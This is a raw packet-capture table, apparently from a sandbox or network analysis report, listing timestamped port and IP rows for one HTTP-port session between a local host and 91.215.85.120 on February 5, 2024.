Feb 5, 2024 10:57:20.810770988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810781956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810792923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810817003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810844898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810848951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810858011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810894966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.810971975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810986042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.810997963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811009884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811028004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811048985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811059952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811073065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811100006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811111927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811119080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811124086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811136961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811148882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811151981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811176062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811239958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811252117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811275959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811289072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811301947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811333895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811362028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811372995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811383963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811395884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811404943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811423063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811494112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811506987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811517000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811528921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811547041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811574936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811575890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811589003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811610937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811629057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811641932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811666965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811745882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811757088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811768055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811779976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811785936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811809063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811814070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811860085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811877966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811891079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811901093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811925888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.811976910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811989069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.811999083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812011003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812016010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812024117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812036037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812041998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812072992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812074900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812088013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812113047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812130928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812143087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812172890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812174082 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812186956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812200069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812211990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812211990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812242985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812273026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812314987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812320948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812328100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812362909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812402964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812414885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812426090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812437057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812448978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812449932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812462091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812479019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812503099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812510014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812572002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812585115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812594891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812608957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812633991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812638044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812649965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812661886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812673092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812693119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812720060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812721968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812736988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812768936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812798977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812812090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812844038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812854052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812891960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812903881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812916040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812927961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812947035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.812958002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812971115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.812999010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813007116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813019037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813030958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813064098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813144922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813158035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813168049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813179016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813189030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813220978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813262939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813276052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813287020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813304901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813323975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813333988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813337088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813379049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813386917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813400030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813436031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813453913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813467026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813477993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813489914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813500881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813522100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813527107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813570023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813582897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813594103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813616037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813641071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813644886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813658953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813680887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813692093 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813694000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813730001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813824892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813838959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813848972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813859940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813872099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813874006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813900948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813936949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813951015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813961983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813973904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.813975096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.813994884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814008951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814034939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814047098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814055920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814090014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814120054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814167023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814179897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814191103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814203978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814234972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814243078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814270020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814281940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814311981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814320087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814357042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814420938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814435005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814445972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814456940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814469099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814476967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814491034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814498901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814548969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814553022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:20.814563036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:20.814609051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.049654007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049670935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049738884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.049812078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049824953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049835920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049848080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049860001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049869061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.049870968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049884081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049902916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049923897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.049942017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049945116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.049956083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049968004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.049978971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050004005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050034046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050076008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050096035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050107002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050124884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050131083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050139904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050152063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050162077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050189018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050194025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050208092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050246954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050324917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050338030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050348997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050360918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.050379992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.050400972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.051489115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.105436087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.202084064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.202130079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.441574097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.459670067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.487485886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.487546921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.729566097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746432066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746448040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746458054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746470928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746481895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746493101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746505022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746503115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746515989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746548891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746548891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746584892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746618032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746630907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746643066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746666908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746679068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746716976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746731043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746742010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746754885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746769905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746795893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746824026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746836901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746846914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746859074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746881008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746911049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.746956110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746968985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746980906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.746993065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747010946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747040033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747142076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747154951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747164965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747175932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747190952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747210026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747210026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747226954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747236967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747248888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747270107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747282982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747294903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747298002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747328043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747345924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747359037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747399092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747431993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747445107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747456074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747467995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747493029 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747519970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747565985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747579098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747590065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747601032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747612953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747634888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747636080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747677088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747678995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747690916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747701883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747740030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747767925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747780085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747807026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747812986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747842073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747889996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747903109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747915030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747925997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.747948885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.747972012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748002052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748014927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748051882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.748119116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748131037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748142958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748153925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.748167038 CET	80	49735	91.215.85.120	192.168.2.4
